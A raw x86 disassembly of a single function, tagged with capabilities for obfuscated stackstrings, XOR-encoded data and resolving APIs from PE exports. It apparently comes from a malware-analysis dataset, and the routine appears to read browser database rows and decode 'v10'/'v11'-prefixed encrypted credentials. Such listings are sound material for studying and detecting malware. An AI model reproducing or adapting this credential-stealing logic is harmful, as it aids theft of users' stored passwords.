Function at 0x41117e
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x230
push ebx
push ebp
push esi
push edi
mov ebp, edx
mov dword [esp + 0x13c], ecx
push 0x1d
mov dword [esp + 0x100], ebp
xor ecx, ecx
mov dword [esp + 0x1c], 0x5a574831
mov edx, 0xff
mov dword [esp + 0x20], 0x3f4e5552
mov dword [esp + 0x24], 0x4e525226
mov word [esp + 0x28], 0x484c
mov byte [esp + 0x2a], 0x56
pop ebx
movzx eax, byte [esp + ecx + 0x18]
add ax, bx
and ax, dx
mov word [esp + ecx*2 + 0x198], ax
inc ecx
cmp ecx, 0xf
jl 0x4111c6
xor eax, eax
mov dword [esp + 0x28], 0x5b5f5f33
push 0x10
mov word [esp + 0x1ba], ax
xor ecx, ecx
mov word [esp + 0x30], 0x5559
mov byte [esp + 0x32], 0x63
pop ebx
movzx eax, byte [esp + ecx + 0x28]
add ax, bx
and ax, dx
mov word [esp + ecx*2 + 0x158], ax
inc ecx
cmp ecx, 7
jl 0x411202
xor eax, eax
mov word [esp + 0x166], ax
call fcn.00419db5
mov ebx, eax
test ebx, ebx
je 0x4119d5
lea eax, [esp + 0x198]
mov dword [esp + 0x88], 0xd2e9e29b
mov dword [esp + 0x140], eax
xor edi, edi
lea eax, [esp + 0x158]
mov dword [esp + 0x100], edi
mov dword [esp + 0x144], eax
mov word [esp + 0x8c], 0xe29b
mov byte [esp + 0x8e], 0xe9
xor ecx, ecx
mov edx, 0xff
movzx eax, byte [esp + ecx + 0x88]
sub ax, 0x76
and ax, dx
mov word [esp + ecx*2 + 0x168], ax
inc ecx
cmp ecx, 7
jl 0x41127d
push dword [esp + edi*4 + 0x140]
xor eax, eax
mov word [esp + 0x17a], ax
lea eax, [esp + 0x16c]
push ebp
push eax
call fcn.0041b96a
mov esi, eax
add esp, 0xc
mov dword [esp + 0x138], esi
test esi, esi
je 0x4119c4
mov ecx, esi
call fcn.0041b9c4
mov ebp, eax
test ebp, ebp
je 0x4119b6
xor edx, edx
mov ecx, ebp
call fcn.0041bc30
mov edi, eax
mov dword [esp + 0xf4], edi
test edi, edi
je 0x411998
push 0
push 1
lea eax, [esp + 0x100]
push eax
push edi
call dword [ebx + 4]
add esp, 0x10
test eax, eax
jne 0x411986
xor edx, edx
mov dword [esp + 0x38], 0x8b95906d
mov dword [esp + 0x3c], 0x998f8a47
mov ecx, edx
mov dword [esp + 0x40], 0x9c909496
mov dword [esp + 0x44], 0x968a4794
mov dword [esp + 0x48], 0x8c909296
mov dword [esp + 0x4c], 0x898b479a
mov dword [esp + 0x50], 0x9a934c47
mov byte [esp + 0x54], 0x31
mov al, byte [esp + ecx + 0x38]
sub al, 0x27
mov byte [esp + ecx + 0x178], al
inc ecx
cmp ecx, 0x1d
jl 0x411354
mov byte [esp + 0x195], dl
mov ecx, edx
mov dword [esp + 0x90], 0xf1f8f1ff
mov dword [esp + 0x94], 0x14cc00ef
mov dword [esp + 0x98], 0xb201f1b
mov dword [esp + 0x9c], 0xd8251117
mov dword [esp + 0xa0], 0xb1f15cc
mov dword [esp + 0xa4], 0x1c202014
mov dword [esp + 0xa8], 0x25181a1b
mov dword [esp + 0xac], 0xd1cccd8
mov dword [esp + 0xb0], 0xccd81420
mov dword [esp + 0xb4], 0x1f0b1f15
mov dword [esp + 0xb8], 0x1e210f11
mov dword [esp + 0xbc], 0x11ccd811
mov dword [esp + 0xc0], 0x1e151c24
mov dword [esp + 0xc4], 0x210b1f11
mov dword [esp + 0xc8], 0xccd80f20
mov dword [esp + 0xcc], 0x11190d1a
mov dword [esp + 0xd0], 0x1a11ccd8
mov dword [esp + 0xd4], 0x1c251e0f
mov dword [esp + 0xd8], 0xb101120
mov dword [esp + 0xdc], 0x21180d22
mov dword [esp + 0xe0], 0xfef2cc11
mov dword [esp + 0xe4], 0xfccf9fb
mov dword [esp + 0xe8], 0x15171b1b
mov word [esp + 0xec], 0x1f11
mov al, byte [esp + ecx + 0x90]
add al, 0x54
mov byte [esp + ecx + 0x1e0], al
inc ecx
cmp ecx, 0x5e
jl 0x411477
lea eax, [esp + 0x178]
mov byte [esp + 0x23e], dl
push esi
push eax
call fcn.00412606
push 0
lea eax, [esp + 0x20]
push eax
push 0xffffffffffffffff
lea eax, [esp + 0x1f4]
push eax
push dword [esp + 0x110]
call dword [ebx + 8]
add esp, 0x1c
test eax, eax
jne 0x411977
push dword [esp + 0x14]
lea edi, [esp + 0x1c]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call dword [ebx + 0xc]
pop ecx
cmp eax, 0x64
jne 0x4117de
mov dword [esp + 0x68], 0x3f3c3ef3
mov word [esp + 0x6c], 0xf32f
mov dword [esp + 0x70], 0x676a6d22
mov word [esp + 0x74], 0x6e78
mov byte [esp + 0x76], 0x22
mov dword [esp + 0x28], 0xdcd9db90
mov word [esp + 0x2c], 0x90cc
mov dword [esp + 0x78], 0xcbc6c18e
mov word [esp + 0x7c], 0xc2d4
mov byte [esp + 0x7e], 0x8e
mov word [esp + 0x58], 0xa4a3
xor edx, edx
mov ecx, edx
mov al, byte [esp + ecx + 0x68]
add al, 0x16
mov byte [esp + ecx + 0x104], al
inc ecx
cmp ecx, 6
jl 0x411531
mov byte [esp + 0x10a], dl
mov ecx, edx
mov al, byte [esp + ecx + 0x70]
xor al, 0x2b
mov byte [esp + ecx + 0x120], al
inc ecx
cmp ecx, 7
jl 0x41154d
mov byte [esp + 0x127], dl
mov ecx, edx
mov al, byte [esp + ecx + 0x28]
add al, 0x79
mov byte [esp + ecx + 0x10c], al
inc ecx
cmp ecx, 6
jl 0x411569
mov byte [esp + 0x112], dl
mov ecx, edx
mov al, byte [esp + ecx + 0x78]
xor al, 0x87
mov byte [esp + ecx + 0x128], al
inc ecx
cmp ecx, 7
jl 0x411585
mov byte [esp + 0x12f], dl
mov ecx, edx
mov word [esp + 0x30], 9
mov word [esp + 0x34], 9
mov al, byte [esp + ecx + 0x58]
xor al, 0xae
mov byte [esp + ecx + 0x60], al
inc ecx
cmp ecx, 2
jl 0x4115af
push edx
push dword [esp + 0x18]
mov byte [esp + 0x6a], dl
call dword [ebx + 0x20]
pop ecx
pop ecx
push eax
push 0
push dword [esp + 0x1c]
call dword [ebx + 0x10]
pop ecx
pop ecx
mov edx, eax
lea ecx, [esp + 0x1c]
call fcn.0041bc08
pop ecx
push 1
push dword [esp + 0x18]
call dword [ebx + 0x10]
pop ecx
pop ecx
test eax, eax
je 0x411604
cmp byte [eax], 0x31
jne 0x411604
lea esi, [esp + 0x104]
mov eax, esi
jmp 0x41160d
lea esi, [esp + 0x120]
mov eax, esi
push eax
lea edi, [esp + 0x1c]
call fcn.00405b40
pop ecx
push eax
mov edx, esi
mov ecx, edi
call fcn.0041baad
pop ecx
push 2
push dword [esp + 0x18]
call dword [ebx + 0x20]
pop ecx
pop ecx
push eax
push 2
push dword [esp + 0x1c]
call dword [ebx + 0x10]
pop ecx
pop ecx
mov edx, eax
mov ecx, edi
call fcn.0041bc08
pop ecx
push 3
push dword [esp + 0x18]
call dword [ebx + 0x10]
pop ecx
pop ecx
test eax, eax
je 0x411663
cmp byte [eax], 0x31
jne 0x411663
lea esi, [esp + 0x10c]
mov eax, esi
jmp 0x41166c
lea esi, [esp + 0x128]
mov eax, esi
push eax
call fcn.00405b40
pop ecx
push eax
mov edx, esi
mov ecx, edi
call fcn.0041baad
pop ecx
push 4
push dword [esp + 0x18]
call dword [ebx + 0x20]
pop ecx
pop ecx
push eax
push 4
push dword [esp + 0x1c]
call dword [ebx + 0x10]
pop ecx
pop ecx
mov edx, eax
lea ecx, [esp + 0x1c]
call fcn.0041bc08
pop ecx
lea eax, [esp + 0x30]
push eax
call fcn.00405b40
pop ecx
push eax
lea edx, [esp + 0x34]
lea ecx, [esp + 0x1c]
call fcn.0041baad
pop ecx
push 5
push dword [esp + 0x18]
call dword [ebx + 0x20]
pop ecx
pop ecx
push eax
push 5
push dword [esp + 0x1c]
call dword [ebx + 0x10]
pop ecx
pop ecx
mov edx, eax
lea ecx, [esp + 0x1c]
call fcn.0041bc08
pop ecx
lea eax, [esp + 0x34]
push eax
call fcn.00405b40
pop ecx
push eax
lea edx, [esp + 0x38]
lea ecx, [esp + 0x1c]
call fcn.0041baad
pop ecx
push 6
push dword [esp + 0x18]
call dword [ebx + 0x14]
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x4117b3
push 6
push dword [esp + 0x18]
call dword [ebx + 0x20]
cmp byte [esi], 0x76
mov edx, eax
pop ecx
pop ecx
jne 0x411763
cmp byte [esi + 1], 0x31
lea eax, [esi + 2]
jne 0x411763
cmp byte [eax], 0x30
je 0x411732
cmp byte [eax], 0x31
jne 0x411763
lea eax, [esp + 0x114]
mov ecx, esi
push eax
call fcn.0040f87c
mov esi, eax
pop ecx
test esi, esi
je 0x4117b3
push dword [esp + 0x114]
mov edx, esi
lea ecx, [esp + 0x1c]
call fcn.0041baad
pop ecx
push esi
call fcn.004056f0
jmp 0x4117b2
lea eax, [esp + 0x150]
mov dword [esp + 0x148], edx
push eax
xor eax, eax
mov dword [esp + 0x150], esi
push eax
push eax
push eax
push eax
push eax
lea eax, [esp + 0x160]
mov edx, 0xbedfd981
push eax
push 3
pop ecx
call fcn.00412cbc
call eax
test eax, eax
je 0x4117b3
push dword [esp + 0x150]
mov edx, dword [esp + 0x158]
lea ecx, [esp + 0x1c]
call fcn.0041baad
pop ecx
lea eax, [esp + 0x60]
push eax
call fcn.00405b40
pop ecx
push eax
lea edx, [esp + 0x64]
lea ecx, [esp + 0x1c]
call fcn.0041baad
pop ecx
push dword [esp + 0x14]
call dword [ebx + 0xc]
pop ecx
cmp eax, 0x64
je 0x41152d
cmp dword [esp + 0x18], 0
je 0x411970
mov dword [esp + 0x38], 0x4d494965
xor ecx, ecx
mov dword [esp + 0x3c], 0x955434f
mov dword [esp + 0x40], 0x79554a03
mov dword [esp + 0x44], 0x8554a03
mov word [esp + 0x48], 0x5e52
mov byte [esp + 0x4a], 0x52
mov al, byte [esp + ecx + 0x38]
xor al, 0x26
movzx eax, al
mov word [esp + ecx*2 + 0x1b8], ax
inc ecx
cmp ecx, 0x13
jl 0x411817
mov ecx, dword [esp + 0xfc]
lea edx, [esp + 0x118]
xor eax, eax
mov word [esp + 0x1de], ax
call fcn.004120fe
mov esi, eax
test esi, esi
je 0x41192c
mov edx, dword [esp + 0x118]
lea eax, [esp + 0x11c]
push eax
mov ecx, esi
call fcn.0040f87c
mov edi, eax
pop ecx
test edi, edi
je 0x411925
mov dword [esp + 0x80], 0xb896d7d0
xor ecx, ecx
mov word [esp + 0x84], 0xe7a4
mov byte [esp + 0x86], 0xfd
mov al, byte [esp + ecx + 0x80]
xor al, 0xdd
mov byte [esp + ecx + 0x130], al
inc ecx
cmp ecx, 7
jl 0x411895
mov byte [esp + 0x137], 0
xor ecx, ecx
mov word [esp + 0x5c], 0x989f
mov al, byte [esp + ecx + 0x5c]
xor al, 0x92
mov byte [esp + ecx + 0x64], al
inc ecx
cmp ecx, 2
jl 0x4118bc
lea eax, [esp + 0x130]
mov byte [esp + 0x66], 0
push eax
call fcn.00405b40
pop ecx
push eax
lea edx, [esp + 0x134]
lea ecx, [esp + 0x1c]
call fcn.0041baad
pop ecx
push dword [esp + 0x11c]
mov edx, edi
lea ecx, [esp + 0x1c]
call fcn.0041baad
pop ecx
lea eax, [esp + 0x64]
push eax
call fcn.00405b40
pop ecx
push eax
lea edx, [esp + 0x68]
lea ecx, [esp + 0x1c]
call fcn.0041baad
pop ecx
push edi
call fcn.004056f0
pop ecx
push esi
call fcn.004056f0
pop ecx
push dword [esp + 0x244]
lea eax, [esp + 0x1bc]
push dword [esp + 0x140]
push eax
call fcn.0041b96a
mov esi, eax
add esp, 0xc
test esi, esi
je 0x411966
mov edx, dword [esp + 0x20]
mov ecx, dword [esp + 0x18]
push esi
call fcn.00418de4
pop ecx
push esi
call fcn.004056f0
pop ecx
push dword [esp + 0x18]
call fcn.004056f0
pop ecx
mov edi, dword [esp + 0xf4]
push dword [esp + 0x14]
call dword [ebx + 0x18]
mov esi, dword [esp + 0x13c]
pop ecx
push dword [esp + 0xf8]
call dword [ebx + 0x1c]
pop ecx
push edi
call fcn.004056f0
pop ecx
xor ecx, ecx
mov edx, 0x62d87b
push ebp
inc ecx
call fcn.00412cbc
call eax
push ebp
call fcn.004056f0
mov edi, dword [esp + 0x104]
pop ecx
push esi
call fcn.004056f0
mov ebp, dword [esp + 0x100]
pop ecx
inc edi
mov dword [esp + 0x100], edi
cmp edi, 2
jb 0x411276
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x230
ret